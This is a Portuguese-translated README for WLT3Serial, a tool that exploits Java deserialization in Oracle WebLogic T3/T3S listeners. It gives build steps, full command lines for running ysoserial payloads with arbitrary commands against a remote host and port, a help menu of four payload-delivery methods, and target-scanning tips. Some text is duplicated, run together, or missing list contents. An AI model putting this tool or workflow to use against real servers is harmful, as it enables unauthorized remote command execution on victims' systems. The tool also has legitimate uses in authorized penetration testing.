
Exploit de desserialização baseado em Java nativo para ouvintes T3 (e T3S) do WebLogic.
Exploit de desserialização nativo baseado em Java para listeners WebLogic T3 (e T3S) (conforme descrito AQUI). Requer dependências de terceiros ysoserial e wlthint3client.
Requer Oracle Java 7 ou 8. Não foi testado com nenhum outro fornecedor de Java (como OpenJDK ou IBM JRE), então não faço promessas de suporte para esses. Provavelmente pode ser construído com Java 9 ou 10, mas não faço promessas de suporte para esses.
O WLT3Serial é construído através do sistema de automação de build Gradle. O Gradle 4 deve ser usado para construção, embora outras versões tenham sido parcialmente testadas (consulte a seção Desenvolvimento).
Dependências de Terceiros:
Procedimento:
git clone https://github.com/Bort-Millipede/WLT3Serial.gitgradle clean preparegradle build -x testRequer Oracle Java 7 ou 8. Não foi testado com nenhum outro fornecedor de Java (como OpenJDK ou IBM JRE), então não faço promessas de suporte para esses. Provavelmente pode ser usado com Java 9 ou 10, mas não faço promessas de suporte para esses.
Se estiver usando os métodos de exploração Property (padrão), Bind ou WLBind, o WLT3Serial deve ser executado da seguinte forma (observe o valor do parâmetro '-cp' do java):
java -cp /path/to/ysoserial.jar:/path/to/wlthint3client.jar:/path/to/WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\wlthint3client.jar;\path\to\WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDSe estiver usando o método de exploração CustomClass, o WLT3Serial deve ser executado da seguinte forma (observe o valor do parâmetro '-cp' do java):
java -cp /path/to/ysoserial.jar:/path/to/WLT3Serial-[VERSION].jar:/path/to/wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\WLT3Serial-[VERSION].jar;\path\to\wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDAbaixo está a saída do menu de ajuda embutido:
Usage: WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD
Options:
--help print usage (you're lookin at it)
--verbose Verbose output (full thrown exception output; Disabled by default)
--method=EXPLOIT_METHOD Exploit Method for delivering generated ysoserial payload
Exploit Methods:
Property Send ysoserial payload as connection environment property value (Default; via javax.naming.Context.lookup(), variation of ysoserial.exploit.RMIRegistryExploit)
Bind Send ysoserial payload as object to bind to name (via javax.naming.Context.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
WLBind Send ysoserial payload as WebLogic RMI object to bind to name (via weblogic.rmi.Naming.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
CustomClass Send ysoserial payload during T3/T3S connection initialization (via custom weblogic.rjvm.ClassTableEntry class, similar to JavaUnserializeExploits weblogic.py)
--t3s[=PROTOCOL] Use T3S (transport-encrypted) connection (Disabled by default)
Protocols:
TLSv1.2
TLSv1.1
TLSv1 (Default)
SSLv3
SSLv2 (SSLv2Hello handshake only, then fallback to SSLv3 for communication: this is an Oracle Java limitation, not a WLT3Serial limitation)
Available Payload Types (WebLogic is usually vulnerable to "CommonsCollectionsX" and "JRMPClientX" types):
(available payloads listed here)
Os métodos Property, Bind e WLBind são todos muito semelhantes. A tal ponto que, se um sistema alvo não puder ser explorado usando um desses métodos, provavelmente não poderá ser explorado usando nenhum deles. O método CustomClass é completamente diferente dos outros métodos.
é recomendável que o usuário faça uma varredura do serviço alvo com sslscan ou o script ssl-enum-ciphers do nmap para descobrir quais protocolos são suportados. Dessa forma, o usuário pode ajustar a opção --t3s ao executar o WLT3Serial.
Na tentativa de melhorar os exploits JavaUnserializeExploits weblogic.py e loubia, o WLT3Serial foi desenvolvido em Java usando os seguintes recursos para conectar-se a serviços WebLogic T3/T3S:
Foi dado ênfase ao tratamento nativo de conexões T3 em Java, bem como ao tratamento adequado de erros para fornecer saída de comando útil para o usuário.
O WLT3Serial foi desenvolvido usando as seguintes versões de software:
Testes ao vivo durante o desenvolvimento foram conduzidos contra as seguintes versões do WebLogic Server:
Os desenvolvedores fornecem o software gratuitamente, sem garantia, e não assumem responsabilidade por quaisquer danos causados a sistemas pelo uso do software. É de responsabilidade do usuário cumprir todas as leis locais, estaduais e federais ao usar o software.
(C) 2017, 2018 Jeffrey Cap (Bort_Millipede)